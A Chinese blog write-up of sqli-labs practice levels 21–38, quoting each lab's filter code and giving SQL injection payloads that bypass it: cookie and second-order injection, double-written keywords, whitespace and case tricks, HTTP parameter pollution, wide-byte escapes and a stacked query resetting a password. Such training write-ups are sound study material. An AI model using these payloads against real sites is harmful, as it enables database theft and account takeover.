sqli-labs通关之路-中
Page-2
Less-21 基基于错误的单引号字符型Cookie注入
首先利用admin admin
弱口令成功登入
抓包查看发现cookie被进行了Base64编码admin
->YWRtaW4=
因此我们需要将Payload进行编码后进行测试 添加单引号发现报错 为单引号闭合
之后尝试将上一关的Payload进行Base64编码后进行报错注入
回显正确 存在报错注入
Less-22 基于错误的双引号字符型Cookie注入
与前一关类似
Less-23 基于错误的,过滤注释的GET型
首先查看后端源码发现注释符被过滤
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
之后输入单引号发现报错,猜测为单引号闭合,所以尝试用单引号闭合去绕过注释
测试?id=1' and '1'='1
正常
测试?id=1' and '1'='2
回显异常
因为不能使用order by
,所以用select
判断字段
到?id=-1' union select 1,2,3 and '1'='2
正常,判断为3列,且回显点为2
,构造Payload
在2
处进行注入即可
Less-24 二次注入
查看注册时源码发现存在mysql_escape_string
关键字过滤(转义)
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
但是插入数据库的内容还原回了回去
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
而修改密码
处源码发现username
处未进行过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
因此可能存在二次注入
首先注册一个名为admin '#
的账户
之后登录此账户 点击修改密码
因为用户名被直接带入SQL语句中执行,所以最终执行的语句为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";
所以成功修改了admin
账户的密码
Less-25 过滤or与and
查看源码发现,后端过滤了and
和or
参数,将其替换为空
$id= blacklist($id);
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
所以这里使用双写绕过
Payload:?id=-1' union select 1,2,3 aandnd '1'='2
Less-25a 过滤or与and的盲注
双写绕过,不使用单引号闭合
Payload:?id=-1 union select 1,user(),3 aandnd 1=2
Less-26 过滤注释和空格的注入
首先单引号报错,判断为单引号闭合
经过常用Payload测试发现过滤了and
注释
以及空格
常见空格绕过:
- %09 Tab键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return 键
- %0b Tab键(垂直)
- %a0 空格
- () 绕过
之后使用报错注入 双写绕过 ()绕过 %00截断 进行注入
?id=1' aandnd (updatexml(1,concat(0x7e,(user()),0x7e),1));%00
或者配合 单引号闭合绕过注释
?id=1' aandnd (updatexml(1,concat(0x7e,(user()),0x7e),1))anandd'1'='1
Less-26a 过滤注释和空格的盲注
查看源码 找出过滤数据
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
之后手工测试
单引号 报错
双引号 正常
两个单引号 正常
所以判断为单引号闭合
?id=1'anandd'1'='1
正常
?id=1'anandd'1'='2
页面异常
构造盲注Payload:1'anandd(substr((database()),1,1)='s')anandd'1'='1
Less-27 过滤union和select
查看源码 发现还过滤了空格和注释
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
这里使用大小写绕过 %09
代替空格 用%00
截断代替注释
构造Payload:?id=id' UNIOn%09SelEct%091,2,3;%00
Less-27a 基于双引号 过滤union和select的注入
与上一题类似,更改为双引号闭合
Payload:?id=id" UNIOn%09SelEct%091,2,3;%00
Less-28 基于错误 有括号单引号字符型 过滤union和select等的注入
查看源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
这里主要对union select
进行了正则替换,所以为我们双写绕过
Payload:?id=id')%0Aunion%0Aunion%0Aselect%0Aselect%0A1,user(),3;%00
Less-28a 基于盲注 有括号的单引号字符型 过滤union和select等的注入
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
查看源码发现,只过滤了union select
,所以直接复用Payload
???
Payload:?id=id')%0aunion%0aunion%0Aselect%09select%091,user(),database();%00
Less-29 基于WAF注入
WAF服务器(tomcat)只解析重复参数里面的前者,而真正的WEB服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
所以重复传参,并将Payload置于后一个参数处即可
Payload:?id=1&id=-1' union select 1,2,3--+
Less-30 基于WAF盲注
利用双引号进行闭合即可
Payload:?id=1&id=-1" union select 1,2,3--+
Less-31 基于WAF保护
更改为双引号加括号闭合
Payload:?id=1&id=-1") union select 1,2,3--+
Less-32 Bypass 自定义过滤器
查看源码
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
发现使用了preg_replace()
将单引号、双引号和反斜杠进行了转义,所以这里使用宽字节注入
Payload:?id=-1%df' union select 1,2,3--+
Less-33 Bypass addslashes()
与上一关原理相同,复用Payload
Payload:?id=-1%df' union select 1,2,3--+
Less-34 Bypass 添加斜杠
基于POST的宽字节注入
Payload:uname=admin%df' union select 1,2#&passwd=admin&submit=Submit
Less-35 为什么要关注addslashes()
普通数字型注入
Payload:?id=-1 union select 1,2,3--+
Less-36 绕过MySQL的真实转义字符串
查看源码 发现使用mysql_real_escape_string
函数转义
$string= mysql_real_escape_string($string);
同样使用宽字节注入绕过
Payload:?id=-1%df' union select 1,2,3--+
Less-37- MySQL_real_escape_string
POST型宽字节注入,与Less-34类似
Payload:uname=admin%df' union select 1,2#&passwd=admin&submit=Submit
Less-38 堆叠注入
堆叠使用update
语句更新Dumb
的密码
Payload:?id=1';update users set password='12345' where username='Dumb';--+
本文来自博客园,作者:Haibara-Z3r0,转载请注明原文链接:https://www.cnblogs.com/Yu-0/p/16627828.html